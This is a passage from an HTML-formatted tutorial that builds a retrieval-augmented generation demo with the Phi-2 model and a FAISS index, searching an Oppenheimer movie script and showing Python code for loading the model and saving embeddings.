&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; index&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;normalize_L2()&lt;/code&gt; function normalizes the vectors and is a crucial step when using Euclidean distance in high-dimensional spaces to ensure that the distance is not dominated by the dimensionality of the vectors. As we iterate through the embeddings, we check if the item is a 1D array and reshape it to a 2D array if necessary. This is important because FAISS expects the input to be a 2D array, and we need to reshape the 1D array to a 2D array before adding it to the index.&lt;/p&gt;
&lt;p&gt;The function finally returns the created index. This index can then be used to perform efficient similarity searches.&lt;/p&gt;
&lt;h3 id=&#34;54-perform-similarity-search&#34;&gt;5.4 Perform Similarity Search&lt;/h3&gt;
&lt;p&gt;The following function shows how to perform a similarity search using the vector index to retrieve relevant context passages based on a user query. As noted earlier, the most similar context passages are then retrieved based on cosine similarity or another distance metric.&lt;/p&gt;
&lt;p&gt;The function starts by encoding the input query using a tokenizer and performs a similarity search on the FAISS index using the query embedding. It retrieves the indices of the top 3 most similar passages to the input query and then retrieves the corresponding context passages from the context_passages list. The similar context passages are then concatenated into a single string and passed to the Phi-2 model to generate a response.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;search_query&lt;/span&gt;(input_query, inputTokenizer, model, device, index, context_passages):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Given a new query context, encode it and perform similarity search&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    input_ids &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; inputTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;encode(input_query,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                    return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                    return_attention_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                    add_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        input_ids &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; input_ids&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;long()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        output &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model(input_ids)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logits &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; output&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;logits
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        query_embedding &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; logits&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;mean(dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;detach()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cpu()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;numpy()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Perform similarity search - top 3 similar passages&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    _, similar_indices &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; index&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;search(query_embedding, k&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Retrieve context passages based on similar_indices&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    similar_contexts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [context_passages[i] &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; similar_indices[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Concatenate the similar contexts into a single string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;join(similar_contexts)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let us run this and see how it works, as we discussed before. We will use the Oppenheimer movie script as the context passages and perform a similarity search to retrieve relevant context passages based on a user query. The next few figures show the output of us asking questions about the movie, where those pieces of information are not in the model but passed using the semantic search.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/phi2-3.png&#34; alt=&#34;Example 1 - Phi-2 and RAG implementation&#34;/&gt;
        &lt;figcaption&gt;Example 1 - Phi-2 and RAG implementation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/phi2-4.png&#34; alt=&#34;Example 2 - Phi-2 and RAG implementation&#34;/&gt;
        &lt;figcaption&gt;Example 2 - Phi-2 and RAG implementation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/phi2-5.png&#34; alt=&#34;Example 3 - Phi-2 and RAG implementation&#34;/&gt;
        &lt;figcaption&gt;Example 3 - Phi-2 and RAG implementation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Now that we have seen the different elements, the code below brings everything together as a console app that one can run. The Oppenheimer script (pdf file) you need can be &lt;a
	
		href = &#34;data/oppenheimer-2023.pdf&#34;
	

	

	&gt;
	
	&lt;span&gt;
		downloaded from here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;warnings&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;logging&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;torch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;transformers&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; AutoModelForCausalLM, AutoTokenizer
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;numpy&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;np&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;faiss&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;tqdm&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; tqdm
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;pickle&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;re&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;PyPDF2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DEBUG &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;warnings&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;filterwarnings(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;ignore&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;logging&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;getLogger(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;transformers&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;setLevel(logging&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ERROR)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Define the directory where you want to save the model and tokenizer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MODEL_PATH &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;./local_model&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MODEL_NAME &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;microsoft/phi-2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;BATCH_SIZE &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Oppenheimer movie&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#DATA_FILE = &amp;#34;./oppenheimer-2023.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DATA_FILE &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;./oppenheimer-2023.pdf&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EMBEDDINGS_FILE &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;./embeddings_movie.pkl&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;load_model&lt;/span&gt;(model_path, model_name, debug&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check if the model and tokenizer are already saved locally&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;exists(model_path):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; debug:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Loading model and tokenizer from local directory: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;model_path&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load the model and tokenizer from the local directory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoModelForCausalLM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(model_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(model_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; debug:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Downloading model and tokenizer from Hugging Face&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Download the model and tokenizer from Hugging Face&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoModelForCausalLM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(model_name, torch_dtype&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;auto&amp;#34;&lt;/span&gt;, trust_remote_code&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(model_name, trust_remote_code&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; debug:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Saving model and tokenizer to local directory: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;model_path&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Save the model and tokenizer locally&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;save_pretrained(model_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;save_pretrained(model_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; debug:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Model device: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;CUDA available: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;is_available()&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Set the default device to CUDA if available, otherwise use CPU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    device &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;cuda&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;is_available() &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;cpu&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; model, tokenizer, device
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;save_embeddings&lt;/span&gt;(embeddings, passages, file_name):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(file_name, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            pickle&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;dump((&lt;span style=&#34;color:#91d7e3&#34;&gt;list&lt;/span&gt;(embeddings), &lt;span style=&#34;color:#91d7e3&#34;&gt;list&lt;/span&gt;(passages)), f)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;IOError&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Error writing to file &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;file_name&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;.&amp;#34;&lt;/span&gt;)
